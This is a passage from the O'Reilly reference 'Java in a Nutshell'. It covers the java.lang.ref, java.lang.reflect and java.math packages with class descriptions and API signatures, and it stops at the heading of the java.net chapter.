11.1. The java.io Package | Book Index | 13. The java.lang.ref Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.lang.ref Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 13. The java.lang.ref Package

The java.lang.ref package defines classes that allow Java programs to interact with the Java garbage collector. A Reference represents an indirect reference to an arbitrary object, known as the referent. SoftReference, WeakReference, and PhantomReference are three concrete subclasses of Reference that interact with the garbage collector in different ways, as explained in the individual class descriptions that follow. ReferenceQueue represents a linked list of Reference objects. Any Reference object may have a ReferenceQueue associated with it. A Reference object is enqueued on its ReferenceQueue at some point after the garbage collector determines that the referent object has become appropriately unreachable. (The exact level of unreachability depends on the type of Reference being used.) An application can monitor a ReferenceQueue to determine when referent objects enter a new reachability status. Figure 13-1 shows the hierarchy of this package, which is new as of Java 1.2.

Figure 13-1. The java.lang.ref package

Using the mechanisms defined in this package, you can implement a cache that grows and shrinks in size according to the amount of available system memory. Or, you can implement a hashtable that associates auxiliary information with arbitrary objects, but does not prevent those objects from being garbage-collected if they are otherwise unused. The mechanisms provided by this package are low-level ones, however, and typical applications do not use java.lang.ref directly. Instead, they rely on higher-level utilities built on top of the package. See java.util.WeakHashMap for one example.

PhantomReference Java 1.2
java.lang.ref

This class represents a reference to an object that does not prevent the referent object from being finalized by the garbage collector. When (or at some point after) the garbage collector determines that there are no more hard (direct) references to the referent object, that there are no SoftReference or WeakReference objects that refer to the referent, and that the referent has been finalized, it enqueues the PhantomReference object on the ReferenceQueue specified when the PhantomReference was created. This serves as notification that the object has been finalized and provides one last opportunity for any required cleanup code to be run.

To prevent a PhantomReference object from resurrecting its referent object, its get() method always returns null, both before and after the PhantomReference is enqueued. Nevertheless, a PhantomReference is not automatically cleared when it is enqueued, so when you remove a PhantomReference from a ReferenceQueue, you must call its clear() method or allow the PhantomReference object itself to be garbage-collected.

This class provides a more flexible mechanism for object cleanup than the finalize() method does. Note that in order to take advantage of it, it is necessary to subclass PhantomReference and define a method to perform the desired cleanup. Furthermore, since the get() method of a PhantomReference always returns null, such a subclass must also store whatever data is required for the cleanup operation.

public class PhantomReference extends java.lang.ref.Reference {
// | Public Constructors
 | public PhantomReference (Object referent, ReferenceQueue q); |
// | Public Methods Overriding Reference
 | public Object get (); | constant
}

Hierarchy: Object-->java.lang.ref.Reference-->PhantomReference

Reference Java 1.2
java.lang.ref

This abstract class represents some type of indirect reference to a referent. get() returns the referent if the reference has not been explicitly cleared by the clear() method or implicitly cleared by the garbage collector. There are three concrete subclasses of Reference. The garbage collector handles these subclasses differently and clears their references under different circumstances.

Each of the subclasses of Reference defines a constructor that allows a ReferenceQueue to be associated with the Reference object. The garbage collector places Reference objects onto their associated ReferenceQueue objects to provide notification about the state of the referent object. isEnqueued() tests whether a Reference has been placed on the associated queue, and enqueue() explicitly places it on the queue. enqueue() returns false if the Reference object does not have an associated ReferenceQueue, or if it has already been enqueued.

public abstract class Reference {
// | No Constructor
// | Public Instance Methods
 | public void clear ();
 | public boolean enqueue ();
 | public Object get ();
 | public boolean isEnqueued ();
}

Subclasses: PhantomReference, SoftReference, WeakReference

Returned By: ReferenceQueue.{poll(), remove()}

ReferenceQueue Java 1.2
java.lang.ref

This class represents a queue (or linked list) of Reference objects that have been enqueued because the garbage collector has determined that the referent objects to which they refer are no longer adequately reachable. It serves as a notification system for object-reachability changes. Use poll() to return the first Reference object on the queue; the method returns null if the queue is empty. Use remove() to return the first element on the queue, or, if the queue is empty, to wait for a Reference object to be enqueued. You can create as many ReferenceQueue objects as needed. Specify a ReferenceQueue for a Reference object by passing it to the SoftReference(), WeakReference(), or PhantomReference() constructor.

A ReferenceQueue is required to use PhantomReference objects. It is optional with SoftReference and WeakReference objects; for these classes, the get() method returns null if the referent object is no longer adequately reachable.

public class ReferenceQueue {
// | Public Constructors
 | public ReferenceQueue ();
// | Public Instance Methods
 | public java.lang.ref.Reference poll ();
 | public java.lang.ref.Reference remove () throws InterruptedException;
 | public java.lang.ref.Reference remove (long timeout) throws IllegalArgumentExceptionInterruptedException;
}

Passed To: PhantomReference.PhantomReference(), SoftReference.SoftReference(), WeakReference.WeakReference()

SoftReference Java 1.2
java.lang.ref

This class represents a soft reference to an object. A SoftReference is not cleared while there are any remaining hard (direct) references to the referent. Once the referent is no longer in use (i.e., there are no remaining hard references to it), the garbage collector may clear the SoftReference to the referent at any time. However, the garbage collector does not clear a SoftReference until it determines that system memory is running low. In particular, the Java VM never throws an OutOfMemoryError without first clearing all soft references and reclaiming the memory of the referents. The VM may (but is not required to) clear soft references according to a least-recently-used ordering.

If a SoftReference has an associated ReferenceQueue, the garbage collector enqueues the SoftReference at some time after it clears the reference.

SoftReference is particularly useful for implementing object-caching systems that do not have a fixed size, but grow and shrink as available memory allows.

public class SoftReference extends java.lang.ref.Reference {
// | Public Constructors
 | public SoftReference (Object referent);
 | public SoftReference (Object referent, ReferenceQueue q);
// | Public Methods Overriding Reference
 | public Object get ();
}

Hierarchy: Object-->java.lang.ref.Reference-->SoftReference

WeakReference Java 1.2
java.lang.ref

This class refers to an object in a way that does not prevent that referent object from being finalized and reclaimed by the garbage collector. When the garbage collector determines that there are no more hard (direct) references to the object, and that there are no SoftReference objects that refer to the object, it clears the WeakReference and marks the referent object for finalization. At some point after this, it also enqueues the WeakReference on its associated ReferenceQueue, if there is one, in order to provide notification that the referent has been reclaimed.

WeakReference is used by java.util.WeakHashMap to implement a hashtable that does not prevent the hashtable key object from being garbage-collected. WeakHashMap is useful when you want to associate auxiliary information with an object but do not want to prevent the object from being reclaimed.

public class WeakReference extends java.lang.ref.Reference {
// | Public Constructors
 | public WeakReference (Object referent);
 | public WeakReference (Object referent, ReferenceQueue q);
}

Hierarchy: Object-->java.lang.ref.Reference-->WeakReference

Previous | Home | Next
12.1. The java.lang Package | Book Index | 14. The java.lang.reflect Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.lang.reflect Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 14. The java.lang.reflect Package

The java.lang.reflect package contains the classes and interfaces that, along with java.lang.Class, comprise the Java Reflection API. This package is new as of Java 1.1. Figure 14-1 shows the class hierarchy.

The Constructor, Field, and Method classes represent the constructors, fields, and methods of a class. Because these types all represent members of a class, they each implement the Member interface, which defines a simple set of methods that can be invoked for any class member. These classes allow information about the class members to be obtained, methods and constructors to be invoked, and fields to be queried and set.

Class member modifiers are represented as integers that specify a number of bit flags. The Modifer class defines static methods that help interpret the meanings of these flags. The Array class defines static methods for creating arrays, and reading and writing array elements.

In Java 1.3, the Proxy class allows the dynamic creation of new Java classes that implement a specified set of interfaces. When an interface method is invoked on an instance of such a proxy class, the invocation is delegated to an InvocationHandler object.

Figure 14-1. The java.lang.reflect package

AccessibleObject Java 1.2
java.lang.reflect

This class is the superclass of the Method, Constructor, and Field classes; its methods provide a mechanism for trusted applications to work with private, protected, and default visibility members that would otherwise not be accessible through the Reflection API. This class is new as of Java 1.2; in Java 1.1, the Method, Constructor, and Field classes extended Object directly.

To use the java.lang.reflect package to access a member to which your code would not normally have access, pass true to the setAccessible() method. If your code has an appropriate ReflectPermission ("suppressAccessChecks"), this allows access to the member as if it were declared public. The static version of setAccessible() is a convenience method that sets the accessible flag for an array of members, but performs only a single security check.

public class AccessibleObject {
// | Protected Constructors
 | protected AccessibleObject ();
// | Public Class Methods
 | public static void setAccessible (AccessibleObject[ ] array, boolean flag) throws SecurityException;
// | Public Instance Methods
 | public boolean isAccessible ();
 | public void setAccessible (boolean flag) throws SecurityException;
}

Subclasses: Constructor, Field, Method

Passed To: AccessibleObject.setAccessible()

Array | Java 1.1
java.lang.reflect | PJ1.1

This class contains methods that allow you to set and query the values of array elements, to determine the length of an array, and to create new instances of arrays. Note that the Array class can manipulate only array values, not array types; Java data types, including array types, are represented by java.lang.Class. Since the Array class represents a Java value, unlike the Field, Method, and Constructor classes, which represent class members, the Array class is significantly different (despite some surface similarities) from those other classes in this package. Most notably, all the methods of Array are static and apply to all array values, not just a specific field, method, or constructor.

The get() method returns the value of the specified element of the specified array as an Object. If the array elements are of a primitive type, the value is converted to a wrapper object before being returned. You can also use getInt() and related methods to query array elements and return them as specific primitive types. The set() method and its primitive type variants perform the opposite operation. Also, the getLength() method returns the length of the array.

The newInstance() methods create new arrays. One version of this method is passed the number of elements in the array and the type of those elements. The other version of this method creates multidimensional arrays. Besides specifying the component type of the array, it is passed an array of numbers. The length of this array specifies the number of dimensions for the array to be created, and the values of each of the array elements specify the size of each dimension of the created array.

public final class Array {
// | No Constructor
// | Public Class Methods
 | public static Object get (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static boolean getBoolean (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static byte getByte (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static char getChar (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static double getDouble (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static float getFloat (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static int getInt (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static int getLength (Object array) throws IllegalArgumentException; | native
 | public static long getLong (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static short getShort (Object array, int index) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static Object newInstance (Class componentType, int length) throws NegativeArraySizeException; |
 | public static Object newInstance (Class componentType, int[ ] dimensions) throws IllegalArgumentExceptionNegativeArraySizeException; |
 | public static void set (Object array, int index, Object value) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setBoolean (Object array, int index, boolean z) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setByte (Object array, int index, byte b) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setChar (Object array, int index, char c) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setDouble (Object array, int index, double d) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setFloat (Object array, int index, float f) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setInt (Object array, int index, int i) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setLong (Object array, int index, long l) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
 | public static void setShort (Object array, int index, short s) throws IllegalArgumentExceptionArrayIndexOutOfBoundsException; | native
}
Constructor | Java 1.1
java.lang.reflect | PJ1.1

This class represents a constructor method of a class. Instances of Constructor are obtained by calling getConstructor() and related methods of java.lang.Class. Constructor implements the Member interface, so you can use the methods of that interface to obtain the constructor name, modifiers, and declaring class. In addition, getParameterTypes() and getExceptionTypes() also return important information about the represented constructor.

In addition to these methods that return information about the constructor, the newInstance() method allows the constructor to be invoked with an array of arguments in order to create a new instance of the class that declares the constructor. If any of the arguments to the constructor are of primitive types, they must be converted to their corresponding wrapper object types to be passed to newInstance(). If the constructor causes an exception, the Throwable object it throws is wrapped within the InvocationTargetException that is thrown by newInstance(). Note that newInstance() is much more useful than the newInstance() method of java.lang.Class because it can pass arguments to the constructor.

public final class Constructor extends AccessibleObject implements Member {
// | No Constructor
// | Public Instance Methods
 | public Class[ ] getExceptionTypes (); |
 | public Class[ ] getParameterTypes (); |
 | public Object newInstance (Object[ ] initargs) throws InstantiationExceptionIllegalAccessExceptionIllegalArgumentExceptionInvocationTargetException; | native
// | Methods Implementing Member
 | public Class getDeclaringClass (); |
 | public int getModifiers (); |
 | public String getName (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->AccessibleObject-->Constructor(Member)

Returned By: Class.{getConstructor(), getConstructors(), getDeclaredConstructor(), getDeclaredConstructors()}

Field | Java 1.1
java.lang.reflect | PJ1.1

This class represents a field of a class. Instances of Field are obtained by calling the getField() and related methods of java.lang.Class. Field implements the Member interface, so once you have obtained a Field object, you can use getName(), getModifiers(), and getDeclaringClass() to determine the name, modifiers, and class of the field. Additionally, getType() returns the type of the field.

The set() method sets the value of the represented field for a specified object. (If the represented field is static, no object need be specified, of course.) If the field is of a primitive type, its value can be specified using a wrapper object of type Boolean, Integer, and so on, or it can be set using the setBoolean(), setInt(), and related methods. Similarly, the get() method queries the value of the represented field for a specified object and returns the field value as an Object. Various other methods query the field value and return it as various primitive types.

public final class Field extends AccessibleObject implements Member {
// | No Constructor
// | Public Instance Methods
 | public Object get (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public boolean getBoolean (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public byte getByte (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public char getChar (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public double getDouble (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public float getFloat (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public int getInt (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public long getLong (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public short getShort (Object obj) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public Class getType (); |
 | public void set (Object obj, Object value) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setBoolean (Object obj, boolean z) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setByte (Object obj, byte b) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setChar (Object obj, char c) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setDouble (Object obj, double d) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setFloat (Object obj, float f) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setInt (Object obj, int i) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setLong (Object obj, long l) throws IllegalArgumentExceptionIllegalAccessException; | native
 | public void setShort (Object obj, short s) throws IllegalArgumentExceptionIllegalAccessException; | native
// | Methods Implementing Member
 | public Class getDeclaringClass (); |
 | public int getModifiers (); |
 | public String getName (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->AccessibleObject-->Field(Member)

Passed To: javax.ejb.deployment.EntityDescriptor.setContainerManagedFields()

Returned By: Class.{getDeclaredField(), getDeclaredFields(), getField(), getFields()}, javax.ejb.deployment.EntityDescriptor.getContainerManagedFields()

InvocationHandler Java 1.3 Beta
java.lang.reflect

This interface defines a single invoke() method that is called whenever a method is invoked on a dynamically created Proxy object. Every Proxy object has an associated InvocationHandler object that is specified when the Proxy is instantiated. All method invocations on the proxy object are translated into calls to the invoke() method of the InvocationHandler.

The first argument to invoke() is the Proxy object through which the method was invoked. The second argument is a Method object that represents the method that was invoked. Call the getDeclaringClass() method of this Method object to determine the interface in which the method was declared. This may be a superinterface of one of the specified interfaces or even java.lang.Object when the method invoked is toString(), hashCode(), or one of the other Object methods. The third argument to invoke() is the array of method arguments. Any primitive type arguments are wrapped in their corresponding object wrappers (e.g., Boolean, Integer, Double).

The value returned by invoke() becomes the return value of the proxy object method invocation and must be of an appropriate type. If the proxy object method returns a primitive type, invoke() should return an instance of the corresponding wrapper class. invoke() can throw any unchecked (i.e., runtime) exceptions or any checked exceptions declared by the proxy object method. If invoke() throws a checked exception that is not declared by the proxy object, that exception is wrapped within an unchecked UndeclaredThrowableException that is thrown in its place.

public interface InvocationHandler {
// | Public Instance Methods
 | public abstract Object invoke (Object proxy, Method method, Object[ ] args) throws Throwable;
}

Passed To: Proxy.{newProxyInstance(), Proxy()}

Returned By: Proxy.getInvocationHandler()

Type Of: Proxy.h

InvocationTargetException | Java 1.1
java.lang.reflect | serializable checked PJ1.1

An object of this class is thrown by Method.invoke() and Constructor.newInstance() when an exception is thrown by the method or constructor invoked through those methods. The InvocationTargetException class serves as a wrapper around the object that was thrown; that object can be retrieved with the getTargetException() method.

public class InvocationTargetException extends Exception {
// | Public Constructors
 | public InvocationTargetException (Throwable target);
 | public InvocationTargetException (Throwable target, String s);
// | Protected Constructors
 | protected InvocationTargetException ();
// | Public Instance Methods
 | public Throwable getTargetException ();
// | Public Methods Overriding Throwable
1.2 | public void printStackTrace ();
1.2 | public void printStackTrace (java.io.PrintWriter pw);
1.2 | public void printStackTrace (java.io.PrintStream ps);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->InvocationTargetException

Thrown By: java.awt.EventQueue.invokeAndWait(), Constructor.newInstance(), Method.invoke(), javax.swing.SwingUtilities.invokeAndWait()

Member | Java 1.1
java.lang.reflect | PJ1.1

This interface defines the methods shared by all members (fields, methods, and constructors) of a class. getName() returns the name of the member, getModifiers() returns its modifiers, and getDeclaringClass() returns the Class object that represents the class of which the member is a part.

public interface Member {
// | Public Constants
 | public static final int DECLARED ; | =1
 | public static final int PUBLIC ; | =0
// | Public Instance Methods
 | public abstract Class getDeclaringClass (); |
 | public abstract int getModifiers (); |
 | public abstract String getName (); |
}

Implementations: Constructor, Field, Method

Method | Java 1.1
java.lang.reflect | PJ1.1

This class represents a method. Instances of Method are obtained by calling the getMethod() and related methods of java.lang.Class. Method implements the Member interface, so you can use the methods of that interface to obtain the method name, modifiers, and declaring class. In addition, getReturnType(), getParameterTypes(), and getExceptionTypes() also return important information about the represented method.

Perhaps most importantly, the invoke() method allows the method represented by the Method object to be invoked with a specified array of argument values. If any of the arguments are of primitive types, they must be converted to their corresponding wrapper object types in order to be passed to invoke(). If the represented method is an instance method (i.e., if it is not static), the instance on which it should be invoked must also be passed to invoke(). The return value of the represented method is returned by invoke(). If the return value is a primitive value, it is first converted to the corresponding wrapper type. If the invoked method causes an exception, the Throwable object it throws is wrapped within the InvocationTargetException that is thrown by invoke().

public final class Method extends AccessibleObject implements Member {
// | No Constructor
// | Property Accessor Methods (by property name)
 | public Class getDeclaringClass (); | Implements:Member
 | public Class[ ] getExceptionTypes (); |
 | public int getModifiers (); | Implements:Member
 | public String getName (); | Implements:Member
 | public Class[ ] getParameterTypes (); |
 | public Class getReturnType (); |
// | Public Instance Methods
 | public Object invoke (Object obj, Object[ ] args) throws IllegalAccessExceptionIllegalArgumentExceptionInvocationTargetException; | native
// | Methods Implementing Member
 | public Class getDeclaringClass (); |
 | public int getModifiers (); |
 | public String getName (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->AccessibleObject-->Method(Member)

Passed To: Too many methods to list.

Returned By: java.beans.EventSetDescriptor.{getAddListenerMethod(), getListenerMethods(), getRemoveListenerMethod()}, java.beans.IndexedPropertyDescriptor.{getIndexedReadMethod(), getIndexedWriteMethod()}, java.beans.MethodDescriptor.getMethod(), java.beans.PropertyDescriptor.{getReadMethod(), getWriteMethod()}, Class.{getDeclaredMethod(), getDeclaredMethods(), getMethod(), getMethods()}, javax.ejb.deployment.AccessControlEntry.getMethod(), javax.ejb.deployment.ControlDescriptor.getMethod()

Modifier | Java 1.1
java.lang.reflect | PJ1.1

This class defines a number of constants and static methods that can interpret the integer values returned by the getModifiers() methods of the Field, Method, and Constructor classes. The isPublic(), isAbstract(), and related methods return true if the modifier value includes the specified modifier; otherwise, they return false. The constants defined by this class specify the various bit flags used in the modifiers value. You can use these constants to test for modifiers if you want to perform your own boolean algebra.

public class Modifier {
// | Public Constructors
 | public Modifier (); |
// | Public Constants
 | public static final int ABSTRACT ; | =1024
 | public static final int FINAL ; | =16
 | public static final int INTERFACE ; | =512
 | public static final int NATIVE ; | =256
 | public static final int PRIVATE ; | =2
 | public static final int PROTECTED ; | =4
 | public static final int PUBLIC ; | =1
 | public static final int STATIC ; | =8
1.2 | public static final int STRICT ; | =2048
 | public static final int SYNCHRONIZED ; | =32
 | public static final int TRANSIENT ; | =128
 | public static final int VOLATILE ; | =64
// | Public Class Methods
 | public static boolean isAbstract (int mod); |
 | public static boolean isFinal (int mod); |
 | public static boolean isInterface (int mod); |
 | public static boolean isNative (int mod); |
 | public static boolean isPrivate (int mod); |
 | public static boolean isProtected (int mod); |
 | public static boolean isPublic (int mod); |
 | public static boolean isStatic (int mod); |
1.2 | public static boolean isStrict (int mod); |
 | public static boolean isSynchronized (int mod); |
 | public static boolean isTransient (int mod); |
 | public static boolean isVolatile (int mod); |
 | public static String toString (int mod); |
}
Proxy | Java 1.3 Beta
java.lang.reflect | serializable

This class defines a simple but powerful API for dynamically generating a proxy class. A proxy class implements a specified list of interfaces and delegates invocations of the methods defined by those interfaces to a separate invocation handler object.

The static getProxyClass() method dynamically creates a new Class object that implements each of the interfaces specified in the supplied Class[] array. The newly created class is defined in the context of the specified ClassLoader. The Class returned by getProxyClass() is a subclass of Proxy. Every class that is dynamically generated by getProxyClass() has a single public constructor, which expects a single argument of type InvocationHandler. You can create an instance of the dynamic proxy class by using the Constructor class to invoke this constructor. Or, more simply, you can combine the call to getProxyClass() with the constructor call by calling the static newProxyInstance() method, which both defines and instantiates a proxy class.

Every instance of a dynamic proxy class has an associated InvocationHandler object. All method calls made on a proxy class are translated into calls to the invoke() method of this InvocationHandler object, which can handle the call in any way it sees fit. The static getInvocationHandler() method returns the InvocationHandler object for a given proxy object. The static isProxyClass() method returns true if a specified Class object is a dynamically generated proxy class.

public class Proxy implements Serializable {
// | Protected Constructors
 | protected Proxy (InvocationHandler h);
// | Public Class Methods
 | public static InvocationHandler getInvocationHandler (Object proxy) throws IllegalArgumentException;
 | public static Class getProxyClass (ClassLoader loader, Class[ ] interfaces) throws IllegalArgumentException;
 | public static boolean isProxyClass (Class cl);
 | public static Object newProxyInstance (ClassLoader loader, Class[ ] interfaces, InvocationHandler h) throws IllegalArgumentException;
// | Protected Instance Fields
 | protected InvocationHandler h ;
}

Hierarchy: Object-->Proxy(Serializable)

ReflectPermission | Java 1.2
java.lang.reflect | serializable permission

This class is a java.security.Permission that governs access to private, protected, and default-visibility methods, constructors, and fields through the Java Reflection API. In Java 1.2, the only defined name, or target, for ReflectPermission is "suppressAccessChecks". This permission is required to call the setAccessible() method of AccessibleObject. Unlike some Permission subclasses, ReflectPermission does not use a list of actions. See also AccessibleObject.

System administrators configuring security policies should be familiar with this class, but application programmers should never need to use it directly.

public final class ReflectPermission extends java.security.BasicPermission {
// | Public Constructors
 | public ReflectPermission (String name);
 | public ReflectPermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->ReflectPermission

UndeclaredThrowableException | Java 1.3 Beta
java.lang.reflect | serializable unchecked

Thrown by a method of a Proxy object if the invoke() method of the proxy's InvocationHandler throws a checked exception not declared by the original method. This class serves as an unchecked exception wrapper around the checked exception. Use getUndeclaredThrowable() to obtain the checked exception thrown by invoke().

public class UndeclaredThrowableException extends RuntimeException {
// | Public Constructors
 | public UndeclaredThrowableException (Throwable undeclaredThrowable);
 | public UndeclaredThrowableException (Throwable undeclaredThrowable, String s);
// | Public Instance Methods
 | public Throwable getUndeclaredThrowable ();
// | Public Methods Overriding Throwable
 | public void printStackTrace ();
 | public void printStackTrace (java.io.PrintStream ps);
 | public void printStackTrace (java.io.PrintWriter pw);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->UndeclaredThrowableException

Previous | Home | Next
13.1. The java.lang.ref Package | Book Index | 15. The java.math Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.math Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 15. The java.math Package

The java.math package, new as of Java 1.1, contains classes for arbitrary-precision integer and floating-point arithmetic. Arbitrary-length integers are required for cryptography, and arbitrary-precision floating-point values are useful for financial applications that need to be careful about rounding errors. The class hierarchy of this extremely small package is shown in Figure 15-1.

Figure 15-1. The java.math package

BigDecimal | Java 1.1
java.math | serializable comparable PJ1.1(opt)

This subclass of java.lang.Number represents a floating-point number of arbitrary size and precision. Its methods duplicate the functionality of the standard Java arithmetic operators. The compareTo() method compares the value of two BigDecimal objects and returns -1, 0, or 1 to indicate the result of the comparison.

A BigDecimal object is represented as an integer of arbitrary size and an integer scale that specifies the number of decimal places in the value. When working with BigDecimal values, you can explicitly specify the amount of precision (i.e., the number of decimal places) you are interested in. Also, whenever a BigDecimal method can discard precision (e.g., in a division operation), you are required to specify what sort of rounding should be performed on the digit to the left of the discarded digit or digits. The eight constants defined by this class specify the available rounding modes. Because the BigDecimal class provides arbitrary precision and gives you explicit control over rounding and the number of decimal places you are interested in, it can be useful when dealing with quantities that represent money or in other circumstances where the tolerance for rounding errors is low.

public class BigDecimal extends Number implements Comparable {
// | Public Constructors
 | public BigDecimal (BigInteger val); |
 | public BigDecimal (String val); |
 | public BigDecimal (double val); |
 | public BigDecimal (BigInteger unscaledVal, int scale); |
// | Public Constants
 | public static final int ROUND_CEILING ; | =2
 | public static final int ROUND_DOWN ; | =1
 | public static final int ROUND_FLOOR ; | =3
 | public static final int ROUND_HALF_DOWN ; | =5
 | public static final int ROUND_HALF_EVEN ; | =6
 | public static final int ROUND_HALF_UP ; | =4
 | public static final int ROUND_UNNECESSARY ; | =7
 | public static final int ROUND_UP ; | =0
// | Public Class Methods
 | public static BigDecimal valueOf (long val); |
 | public static BigDecimal valueOf (long unscaledVal, int scale); |
// | Public Instance Methods
 | public BigDecimal abs (); |
 | public BigDecimal add (BigDecimal val); |
 | public int compareTo (BigDecimal val); |
 | public BigDecimal divide (BigDecimal val, int roundingMode); |
 | public BigDecimal divide (BigDecimal val, int scale, int roundingMode); |
 | public BigDecimal max (BigDecimal val); |
 | public BigDecimal min (BigDecimal val); |
 | public BigDecimal movePointLeft (int n); |
 | public BigDecimal movePointRight (int n); |
 | public BigDecimal multiply (BigDecimal val); |
 | public BigDecimal negate (); |
 | public int scale (); |
 | public BigDecimal setScale (int scale); |
 | public BigDecimal setScale (int scale, int roundingMode); |
 | public int signum (); |
 | public BigDecimal subtract (BigDecimal val); |
 | public BigInteger toBigInteger (); |
1.2 | public BigInteger unscaledValue (); |
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o); |
// | Public Methods Overriding Number
 | public double doubleValue (); |
 | public float floatValue (); |
 | public int intValue (); |
 | public long longValue (); |
// | Public Methods Overriding Object
 | public boolean equals (Object x); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Number(Serializable)-->BigDecimal(Comparable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: org.omg.CORBA.FixedHolder.value

BigInteger | Java 1.1
java.math | serializable comparable PJ1.1(opt)

This subclass of java.lang.Number represents integers that can be arbitrarily large (i.e., integers that are not limited to the 64 bits available with the long data type). BigInteger defines methods that duplicate the functionality of the standard Java arithmetic and bit-manipulation operators. The compareTo() method compares two BigInteger objects and returns -1, 0, or 1 to indicate the result of the comparison. The gcd(), modPow(), modInverse(), and isProbablePrime() methods perform advanced operations and are used primarily in cryptographic and related algorithms.

public class BigInteger extends Number implements Comparable {
// | Public Constructors
 | public BigInteger (String val);
 | public BigInteger (byte[ ] val);
 | public BigInteger (String val, int radix);
 | public BigInteger (int signum, byte[ ] magnitude);
 | public BigInteger (int numBits, java.util.Random rnd);
 | public BigInteger (int bitLength, int certainty, java.util.Random rnd);
// | Public Constants
 | public static final BigInteger ONE ;
 | public static final BigInteger ZERO ;
// | Public Class Methods
 | public static BigInteger valueOf (long val);
// | Public Instance Methods
 | public BigInteger abs ();
 | public BigInteger add (BigInteger val);
 | public BigInteger and (BigInteger val);
 | public BigInteger andNot (BigInteger val);
 | public int bitCount ();
 | public int bitLength ();
 | public BigInteger clearBit (int n);
 | public int compareTo (BigInteger val);
 | public BigInteger divide (BigInteger val);
 | public BigInteger[ ] divideAndRemainder (BigInteger val);
 | public BigInteger flipBit (int n);
 | public BigInteger gcd (BigInteger val);
 | public int getLowestSetBit ();
 | public boolean isProbablePrime (int certainty);
 | public BigInteger max (BigInteger val);
 | public BigInteger min (BigInteger val);
 | public BigInteger mod (BigInteger m);
 | public BigInteger modInverse (BigInteger m);
 | public BigInteger modPow (BigInteger exponent, BigInteger m);
 | public BigInteger multiply (BigInteger val);
 | public BigInteger negate ();
 | public BigInteger not ();
 | public BigInteger or (BigInteger val);
 | public BigInteger pow (int exponent);
 | public BigInteger remainder (BigInteger val);
 | public BigInteger setBit (int n);
 | public BigInteger shiftLeft (int n);
 | public BigInteger shiftRight (int n);
 | public int signum ();
 | public BigInteger subtract (BigInteger val);
 | public boolean testBit (int n);
 | public byte[ ] toByteArray ();
 | public String toString (int radix);
 | public BigInteger xor (BigInteger val);
// | Methods Implementing Comparable
1.2 | public int compareTo (Object o);
// | Public Methods Overriding Number
 | public double doubleValue ();
 | public float floatValue ();
 | public int intValue ();
 | public long longValue ();
// | Public Methods Overriding Object
 | public boolean equals (Object x);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->Number(Serializable)-->BigInteger(Comparable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: BigInteger.{ONE, ZERO}, java.security.spec.RSAKeyGenParameterSpec.{F0, F4}

Previous | Home | Next
14.1. The java.lang.reflect Package | Book Index | 16. The java.net Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.net Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 16. The java.net Package

